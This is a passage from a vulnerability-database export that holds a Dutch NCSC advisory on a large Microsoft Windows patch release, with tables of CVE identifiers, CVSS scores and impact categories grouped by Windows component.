\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:30.994001Z"}, {"uuid": "4db4993d-4b2a-49ad-8624-d26fc40e115f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54997", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              